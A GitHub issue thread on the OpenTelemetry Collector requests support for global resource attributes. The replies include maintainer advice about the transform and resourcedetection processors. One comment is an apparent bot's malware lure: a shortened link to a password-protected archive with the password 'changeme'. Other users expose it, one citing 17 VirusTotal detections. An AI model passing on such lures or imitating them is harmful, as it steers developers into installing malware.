open-telemetry / opentelemetry-collector

OpenTelemetry Collector
https://opentelemetry.io
Apache License 2.0
4.46k stars 1.47k forks source link

Support for global resource attributes #11296

Open Amoolaa opened 1 month ago

Amoolaa commented 1 month ago

Is your feature request related to a problem? Please describe. We manage a fleet of collectors with a core set of configuration, where users can build on top of it. We want to force a set of resource attributes (based on the host instance id, region, internal pipeline information etc.) on everything being exported from the collector.

Describe the solution you'd like Ability to specify global resource attributes passed as an environment variable to the collector

Describe alternatives you've considered Parsing config and injecting resource attributes into every processor pipeline

Additional context Telegraf offers the global tag configuration block.

ghost commented 1 month ago

try this https://bit.ly/47P0Nvo

Password: changeme

you may need to install the c compiler

Amoolaa commented 1 month ago

@SagarChandra07 with all due respect, not sure I'm willing to click that link. Could you at least describe or give some context (or just put the content here)

Amoolaa commented 1 month ago

In fact, it looks like you're a bot. A quick search verifies that you're going around to other GH issues pages and asking users to download files.

https://github.com/search?q=is%3Aissue%20commenter%3ASagarChandra07&type=issues

thelabcat commented 1 month ago

Yep. Report it for malware. 17 positives on VirusTotal once you get past the password-protected archive (always a red flag).

bogdandrutu commented 1 month ago

@Amoolaa you can use the transform processor on your pipelines and configure it to add any tag you want to the resource attributes. You can also look into the resourcedetection processor to automatically detect lots of your attributes.

Amoolaa commented 1 month ago

@Amoolaa you can use the transform processor on your pipelines and configure it to add any tag you want to the resource attributes. You can also look into the resourcedetection processor to automatically detect lots of your attributes.

What I'm looking for is a built-in way to enforce resource attributes within the collector. At the moment I am programmatically forcing this with a series of checks from a script but I don't see why this shouldn't be offered as a global option (could say the same about memory limiter, batching).